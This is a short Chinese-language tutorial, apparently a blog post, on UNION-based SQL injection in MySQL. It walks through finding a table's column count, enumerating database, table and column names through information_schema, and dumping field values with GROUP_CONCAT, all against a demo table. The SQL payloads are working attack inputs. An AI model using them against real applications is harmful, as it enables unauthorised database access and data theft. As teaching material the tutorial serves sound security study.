SQL注入--联合查询注入


在SQL注入时,常常使用联合查询的方法(union)。将从不同表中查询的信息结合在一张表中同时显示出来。 (select选出的列数相同才能用unoin)

获取表的列数

使用union,如果想要在一张表中显示联合查询的内容,那么union关键字后面查询的内容的列数要和被查询(表名:user123)表的列数一致,才不会报错;利用此方法,可以尝试破解出user123表的列数

SELECT * from user123 WHERE name=002 UNION SELECT 1,2,3
--如果union后面是 select 1,2  则报错,
--因为user123有3列;select 1,2 只能显示2列;无法在同一个表中显示

获取mysql中所有数据库的库名

SELECT * from user WHERE name=002 UNION 
SELECT 11,2,(SELECT GROUP_CONCAT(schema_name) 
FROM information_schema.schemata LIMIT 0,1)
  1. schemata(自动生成)是information_schema(自动生成)数据库中的一个表,记录了mysql中的所有数据库名
  2. GROUP_CONCAT()是将所有符合的信息都显示在一个格子中
  3. limit是限制显示的行数。limit 1 表示只显示前1行

获取指定数据库中的表名

SELECT * from user123 WHERE name=002 
UNION SELECT 11,2,(SELECT GROUP_CONCAT(table_name) 
FROM information_schema.TABLES WHERE table_schema=sql_inject)
  1. tables(自动生成)是information_schema(自动生成)数据库中的一个表,记录了mysql中的所有数据库的表名

获取指定表中的所有字段名

前面已经获取到了表名为:user123,下面可以直接进行利用

SELECT * from user123 WHERE name=002 
UNION SELECT 11,2,(SELECT GROUP_CONCAT(column_name) 
FROM information_schema.columns where table_name=user123)
  1. columns(自动生成)是information_schema(自动生成)数据库中的一个表,记录了mysql中的所有数据库中每一个表的字段名
  2. column_name是字段名(列名)

获取字段中的值

前面已经获取到了表名为:user123,字段名(name,age,sex),下面可以直接进行利用

SELECT * from user123 WHERE name=002 
UNION SELECT 11,2,(SELECT GROUP_CONCAT(age) FROM user123)
  1. GROUP_CONCAT()是将所有符合的信息都显示在一个格子中
经验分享 程序员 微信小程序 职场和发展